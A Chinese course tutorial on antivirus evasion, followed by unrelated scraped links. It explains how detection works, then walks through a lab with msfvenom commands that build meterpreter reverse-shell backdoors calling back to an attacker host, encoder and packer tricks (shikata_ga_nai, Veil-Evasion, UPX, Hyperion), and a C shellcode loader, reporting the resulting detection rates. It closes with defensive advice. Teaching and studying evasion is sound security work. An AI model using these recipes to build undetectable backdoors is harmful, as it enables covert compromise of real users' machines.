tenserflow
p { text-align: left; }
MAL_免杀原理与实践
最后更新:wildlinux 20170319
测试平台:Kali, Virustotal,VirScan
学习目标:通过本部分内容的学习,认识到杀软局限性,提高在工作生活中对于恶意软件防范能力。
–
[Toc]
免杀
一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
1 恶意软件检测机制
–
- 1.1 基于特征码的检测
- 1.1.1 特征库举例-Snort
- 1.2 启发式恶意软件检测
- 1.3 基于行为的恶意软件检测
–
1.1 基于特征码的检测
简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
–
1.1.1 特征库举例-Snort
特征库、特征码长什么样子呢?对于商业AV软件来说,这些就是它的竞争点所在,所以是不公开的。好在,我们有开源的入侵检测平台Snort,它有类似的机制,检测数据包的特征码,检测已知的网络攻击。我们就以这个为例简单理解一下特征码。
示例规则-wuftpd格式化字符串攻击检测规则。content后的就是特征码。alert tcp $EXTERNAL_NET any -> $HOME_NET 21
(msg:”FTP EXPLOIT wu-ftpd 2.6.0 site exec format string overflow Linux”;
flow:to_server, established; content:”|31c031db31c9b046cd8031c031db|”;
reference:bugtraq,1387;reference:cve, CAN-2000-0573;
classtype:attempted-admin;
sid:344;rev:4;)
重要的就是,恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。这就是最简单的特征码,或“signature”。有兴趣的同学可以,搜索”特征码提取”的相关文章深入研究。
–
1.2 启发式恶意软件检测
启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。
“When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.” 对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
–
优点:
* 可以检测0-day恶意软件
* 具有一定通用性
缺点:
* 实时监控系统行为,开销稍多
* 没有基于特征码的精确度高
–
1.3 基于行为的恶意软件检测
最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,
所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
2 免杀技术(Evading AV)综述
–
就常见恶意软件而言,一般AV的检出率为40%-98%。就算你用了最好的AV,恶意软件依然有1/50的概率通过检测。这个概率还可以,貌似多试几种恶意软件就可以了。那免杀的方法当然是针对检测技术的。
–
所以总体技术有:
- 改变特征码
- 如果你手里只有EXE
- 加壳:压缩壳 加密壳
- 有shellcode(像Meterpreter)
- 用encode进行编码
- 基于payload重新编译生成可执行文件
- 有源代码
- 用其他语言进行重写再编译(veil-evasion)
- 如果你手里只有EXE
–
- 改变行为
- 通讯方式
- 尽量使用反弹式连接
- 使用隧道技术
- 加密通讯数据
- 操作模式
- 基于内存操作
- 减少对系统的修改
- 加入混淆作用的正常功能代码
- 通讯方式
–
免杀就是让安插的后门不被AV软件发现。除了直接使用现有后门软件外,还有一些方式,在实际中也有用。
- 非常规方法
- 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
- 使用社工类攻击,诱骗目标关闭AV软件。
- 纯手工打造一个恶意软件
–
留后门的思路是这样的:你写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。通过meterpreter这种驻留内存的payload,AV软件很难检出。这样的小漏洞程序大家也有做,自己攻击自己还是很容易的。
好多盗版、破解、加脱壳软件都会要求你关闭AV。或者的确只能在关闭AV的情况下才能应用。如果有个软件提示你需要关闭AV,你会…一定不吗?
当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了。从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错。
3 免杀效果实测
–
本部分内容均基于Kali Linux,以meterpreter为样本恶意软件来实践。
序号 | 免杀方式 | VirusTotal | VirScan | 可用性 | 实测主机AV |
---|---|---|---|---|---|
1 | msfvenom直接生成 | ||||
2 | msfvenom 编码?次 | ||||
… | … |
3.1 恶意代码生成工具
恶意代码功能也是重复类似的,程序员最不屑于做的就是同样的代码写多次。所以就产生了恶意代码的生成工具,可以用原始的功能代码按需组合生成不同的可执行文件,现加上不同的免杀手段。常见的如msfvenom,veil-evasion,backdoor-factory等。
对于这种情况,AV厂商当然是要尽量找到如msfvenom**生成软件的特征,而不是搜集所有生成结果**的特征了。其结果就是只要msfvenom生成的exe就会检测到,不管你是用了什么编码器,迭代编码的多少次。
在免杀过程中,我们就会使用这样的工具来生成恶意代码,并测试其免杀效果。
–
3.2 免杀效果的评价
3.2.1 VirusTotal、Virscan
集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。
如果上传的程序所有软件都杀不出来,virustotal就会把它交给AV厂商们了,然后…在杀毒库更新前,你还可以使用一段时间。
Virustatol不包括各AV软件的行为分析部分(behavioral analysis)。但它自己开发了自己的行为分析引擎。太慢,还没试用。
https://www.virustotal.com/,最近奇慢,原因不明。
http://www.virscan.org/ 国内的类似virtustotal
–
3.2.2 免杀效果参考基准
msfvenom直接生成meterpreter可执行文件,检出率为46/57。57个扫描引擎中有46中把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 PORT=443 -f exe > met.exe
File name: met.exe
Detection ratio: 46/57
还有一种测试方向。就是取一个非恶意代码为样本,进行各种编码或加壳,然后提交检测。其目的是为了验证,检测软件是否是在检测“编码器”呀“加壳工具”自身。
–
3.3 Msfvenom使用编码器
Msfvenom是Metasploit平台下用来编码payloads免杀的工具。以Metaspliot的知名度和普及度。理所当然,所有AV厂家都盯着呢,一有新编码算法,马上就得加到特征库里呀。
编码后呢,按理论上讲,编码会降低检出率,大不了多编码几次,总会检不出来。
# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded.exe
结果,基本没变化。
File name: met-encoded.exe
Detection ratio: 45/57
–
多编码几次呢,依然没变化
# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > met-encoded10.exe
略有起伏,没实质变化。
File name: met-encoded10.exe
Detection ratio: 45/57
–
原因呢?AV厂商也不傻,人家研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。
还有模板。模板就是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。曾经有一段时间,只要换了模板,就可以对所有AV免杀。现在这招不行了。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。
如果写成一个库,再用java调用呢?思路有很多。
大家可以继研究下其他编码器或不同编码器组合的效果
–
3.4 Veil-Evasion
Veil-Evasion是一个免杀平台,与Metasploit有点类似,在Kalil软件库中有,但默认没装。免杀效果比较好。官网上有视频教程。
结果呢,生成了一个,上传测试,virustoal检出为19/57。
Veil-evasion是用其他语言如c,c#,phython,ruby,go,powershell等重写了meterperter,然后再通过不同方式编译成exe,共性特征比较少。源代码大家全都可以看得到,可以作为进一步学习的参考。
–
========================================================================Veil-Evasion | [Version]: 2.28.1
=========================================================================
[Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework
=========================================================================[*] Executable written to:这是EXE /var/lib/veil-evasion/output/compiled/payload7.exeLanguage: cPayload: c/meterpreter/rev_tcpRequired Options: COMPILE_TO_EXE=y LHOST=192.168.20.136 LPORT=4444Payload File:这是源代码 /var/lib/veil-evasion/output/source/payload7.cHandler File: /var/lib/veil-evasion/output/handlers/payload7_handler.rc
生成这些源代码的python源文件也可以看到:
root@Kali:/usr/share/veil-evasion/modules/payloads/c/meterpreter/rev_tcp.py
–
virscan呢,5/39,我们看看它生成的报告:
VirSCAN.org Scanned Report :
Scanned time : 2016-11-04 16:20:04
Scanner results: 12%的杀软(5/39)报告发现病毒
–
3.5 C语言调用Shellcode
这就是一个半手工打造恶意软件的例子。
下面指令会生成一个c语言格式的Shellcode数组。
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.20.136 LPORT=443 -f c
–
把这个数组拿来编写一个程序。如下
3.5.1 Linux平台交叉编译Windows应用
生成的met.exe复制到Win7_64实测可以回连到msfconsole
结合使用不同编码器效果更好。msfvenom -p windows/meterpreter/reverse_https -e x86/bloxor LHOST=x.x.x.x -f c
生成后==WindowsDefender+腾讯管家==不查杀。
3.5.2 VisualStudio
本部分测试使用的Win10平台安装了Visual Studio2017,进行的后门的生成。
https://www.visualstudio.com/downloads/ 可免费下载安装VisualStudio2017 Community版
// callshellcode.cpp : 定义控制台应用程序的入口点。
//#include "stdafx.h"
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>//192.168.6.129 443 reverse_tcp
const char met[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"此处省去若干行"
"\x53\xff\xd5";int main()
{DWORD old = 0;BOOL ret = VirtualProtect((LPVOID)met, strlen(met), PAGE_EXECUTE_READWRITE, &old);INT32 * addr;addr =(INT32*) &met;__asm;{call addr;}return 0;
}
–
操作流程如图:
结果呢,有所好转,只有virsan.org上7/39个AV能检出了。估计目标电脑也会装这几个AV中的一个吧。
但这个方法胜在好操作,而且可以有很多优化的地方。比方说自己把数组加个密放在最开始,在代码中再解密啥的,有兴趣的同学可以生成java或其他语言格式等。希望各位看官不只是看,也试试。有结果了,可以直接加在本文件中。
思考:
其实这个实验还可以做下去(1)判断杀毒软件是根据调用数组这样的非常规操作,还是根据数组内容来识别出恶意代码的的。如果是调用数组这个操作有问题,我们就需要一个exe,所其中的代码段替换为shellcode;如果是数据内容实识别,那更简单些,我们自己对它加个密,动态解密。
这个方法其实很强大,你本质上可以把任意收集到的Shellcode通过这种方式来调用。而网上可以搜集到大量的功能强大的Shellcode。
–
3.6 加壳
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用类似方法,对shellcode进行再编码。
–
从技术上分壳分为:
- 压缩壳
- 减少应用体积,如ASPack,UPX
- 加密壳
- 版权保护,反跟踪。如ASProtect,Armadillo
- 虚拟机
- 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida
–
3.6.1 压缩壳UPX
# upx met_raw.exe -o met_raw.upxed.exeUltimate Packer for eXecutablesCopyright (C) 1996 - 2013
UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013File size Ratio Format Name-------------------- ------ ----------- -----------101678 -> 56110 55.18% win32/pe met.upxed.exe Packed 1 file.
#
加壳后检40/57。作为流行这么多年的加壳软件,也是可理解的。
–
3.6.2 加密壳Hyperion
还有一种,其实也算加壳,最早在2012年Hyperion 文献中就有描述,也有软件实现。
在Kali里有hyperion的实现
root@:/usr/share/veil-evasion/pyherion.py 不过是Veil-evasion调用针对python进行处理的,但veil不经过这个处理,也能保过。
root@:/usr/share/veil-evasion/tools/hyperion 这个目录是Windows下的可执行文件,可以复制到win,可以用。有源代码。或者在Linux下,用Wine来执行windows应用。
root@:/usr/share/veil-evasion/tools/hyperion/#wine hyperion.exe -v met_raw.exe met_raw_hyed.exe
–
毕竟是知名的加密软件。别人测试的结果:
File name: met_raw.hyed.exe
Detection ratio: 18/58
virscan给出了8/39的检测结果。
这种方法还是会被一些AV检测出,原因就在于加密过的代码段的熵太高。这可以用一种非常简单的方法处理,在每个字节后跟一个空字节,解密程序只要忽略空字节就可以了。有人测试过这种方法可以达到免检(2016)。不过没有工具可用,自己实现起来有难度,而且空间要求高。
3.6.3 扩展阅读
加壳软件有很多商业版,主要目标是为了版权保护,防止逆向分析。更多内容见wiki相关词条。
https://en.wikipedia.org/wiki/Executable_compression
–
3.7 行为分析
VirScan有行为分析引擎,会给出一个安全评分。越高越安全。
上传完目标文件后,等待一会儿,(1)重新上传,会提示你该文件已经分析过了,可直接查看报告;(2)或点击左侧的“查看报告”,从列表中找出你上传文件的报告页面。如下图,再点击“文件行为分析”。
![](../Drawings/MAL/VirSCAN_ Behavior_Analysis.png)
–
下图分别是经过加密壳处理和压缩壳处理的两个文件的行为分析结果。
![](../Drawings/MAL/VirSCAN_ Behavior_Analysis2.png)
–
在真正的实践中,以下技术也有可能被应用到。本文将不涉及其细节。
- 改变行为
- 通讯方式
- 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接
- 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包
- 加密通讯数据:如使用reverse-https进行转发
- 操作模式
- 基于内存操作:meterpreter是基于内存操作的操作的
- 减少对系统的修改
- 通讯方式
–
3.8 小结
简单说,做一个AV杀不出来的后门真不难。
veil-evasion和半手工编程当前免杀效果最好。基本可以绕过主流AV软件。
已有的编码、加壳、加密软件,需要把解压、解密代码加入到可执行文件中,这些代码片断会被检测出。
加壳、加密的思路+半手工的payload可能是一种可行的方式,但需要更多测试。
最牛的当然是自己开发,开发这样通用的工具可能工作量还是非常大的,好在有前人的工作可以参考像kkrunchy 还有HackingTeam泄露出来的 core-packer。
–
序号 | 免杀方式 | 可用性测试 | 测试主机OS/AV | VirusTotal | VirScan |
---|---|---|---|---|---|
1 | msfvenom直接生成 | 关闭杀软可用 | Win7_64+MSSE | 46/57 | 16/39 |
2 | msfvenom 编码一次 | 关闭杀软可用 | Win7_64+MSSE | 45/57 | 15/39 |
2 | msfvenom 多次编码 | 关闭杀软可用 | Win7_64+MSSE | 45/57 | 16/39 |
2 | Veil-evasion | 开启杀软可用 | Win7_64+MSSE | 19/58 | 5/39 |
2 | C+shellcode | 开启杀软可用 | Win10+腾讯管家/Bitdefender | 1/39 | |
2 | UPX压缩壳 | 40/57 | 17/39 | ||
2 | Hyperion | 18/57 | 8/39 | ||
… | … |
4 恶意软件防范措施
–
讲这么多恶意软件免杀原理,是为了让大家认识到其危险性。亲自动手实践了才能体会它潜在的在危害。接下来大家一定想知道,如何才能防止被恶意软件侵害,判断自己的系统是不是被安装了恶意软件。
从大家的实践报告来看,大家最依赖的还是==杀软==和==防火墙==。
杀软
- 我想大家对于其能力应该有清醒的认识了。随便一个同学就可以制作出杀软杀不出的后门。
防火墙呢
- 恶意软件可以通过DLL注入(进程迁移)技术以任何正常系统进行名义运行。防火墙提示时,你会禁止系统进行联网吗?有兴趣的同学可以学习学长的实践DLL注入
- 还记得在“bof有逆向基础”实践中我们修改机器指令的环节吗。本质上你可以编辑任何可执行文件把其中一段代码修改为后门。恶意代码可以IE中,也可以在WORD中。你会禁止你熟悉的程序联网吗?你有使用MD5校验系统程序是否被修改过的习惯吗?
–
4.1 思想上
- 清楚自己操作的风险度
- 清楚自己操作目标的可信度
–
4.2 行为上
- 在可信网站下载应用。大部分非官方下载站点都存在绑捆、夹带等准恶意行为。包括中国IT几巨头。
- 理解官网上MD5值的用途,并使用其校验下载内容。
- 使用正版、官方、开源软件。
–
4.3 具体技术手段
- 安装可信的防病毒软件并即时更新
- 理解并管理好防火墙进出站规则
- 会用工具监控进程操作:如文件操作、注册表操作、网络连接与通讯内容
- 会使用沙箱技术分析可疑软件
- 会使用沙箱隔离可能受到攻击的应用
参考文献:
–
http://www.freebuf.com/sectool/102595.html
https://00rules.wordpress.com/2016/06/24/antivirus-software-how-it-works-and-how-to-evade-it/
tenserflow相关推荐
- 卷积神经网络在tenserflow的实现
卷积神经网络的理论基础看这篇:http://blog.csdn.net/stdcoutzyx/article/details/41596663/ 卷积神经网络的tenserflow教程看这里:http ...
- tenserflow.js 环境搭建
1.安装nodejs http://nodejs.cn/download/ 安装yarn npm install -g yarn 查看版本:yarn --version 2. 一.安装 有两种 ...
- Anaconda安装tenserflow
判断是否安装成功anaconda:conda --version 检测目前安装了哪些环境变量:conda info --envs 创建新环境 conda create --name <env_n ...
- 【tenserflow】——数据类型以及常用属性
目录 一.什么是Tensor? 二.Tensorflow常见数据类型 三.Tensorflow常见属性device\cpu\gpu\ndim\shape\rank等 1.创建一个tensor 1)tf ...
- 用 Java 训练深度学习模型,原来这么简单
作者 | DJL-Keerthan&Lanking 来源 | HelloGitHub 头图 | CSDN下载自东方IC 前言 很长时间以来,Java 都是一个很受企业欢迎的编程语言.得益于丰富 ...
- 200 个工具分析机器学习十年:开源是大势,工程师是核心
[编者按]人工智能和机器学习经过十年多的发展,在过去的几年间,各类工具数量迎来了持续的爆发式的增长,机器学习也正式由科研走进工业生产阶段.本文作者 -- 来自硅谷一家初创公司的计算机科学家 Chip ...
- 基于深度学习神经网络等机器学习技术实现一个医学辅助诊断的专家系统原型
3.运行环境搭建 操作系统:Ubantu (1)安装python模块 sudo apt-get install python-pip (2)安装numpy sudo apt-get install p ...
- python百度云资源-Python开发视频百度云分享
原标题:Python开发视频百度云分享 Python有很好的3D渲染库和游戏开发框架,有很多使用Python开发的游戏,如迪斯尼卡通城.黑暗之刃.常用PyGame.Pykyra等和一个PyWeek的比 ...
- 错误记录集锦(遇到则记下)
错误记录集锦(遇到则记下) 1.解决React 的<img >src使用require的方式图片显示不出来,展示的是[object Module]的问题:https://www.cnblo ...
最新文章
- 一文读懂微服务架构的重构策略
- SAP成本会计分录大全
- 怎么更新android 10.0,Android 10.0(Q OS)系统升级计划Androi
- 从helloworld回顾程序的编译过程之二
- matlab createtask,Matlab批量与createjob
- Android(java)学习笔记114:Service生命周期
- WebServer起不来,如何查看原因
- 代码主题darcula_Pycharm最舒服的主题风格
- C++ Error C2664:无法将参数 1 从“const char [9]”转换为“LPCWSTR”解决方案
- 28. (附加)八皇后问题(C++版本)
- python同花顺交易接口_TradeApi为A股程序化交易接口2.9.0发布
- 水中贵族 || 百岁山的“骚路子”营销
- Android Behavior
- 有别于普通专线的BGP线路
- Downward paths(数论,思维)
- 通过游戏,ACCU和乌克兰进行测试
- 华三h3c系列交换机ACL实践
- 从安装到连接,教你如何连上Mysql数据库
- 暗通道去雾(何恺明的成名作):简洁与效果并存的传统图像处理算法
- AR眼镜语音转文字实测!效果像开了弹幕,对话记录可保存回溯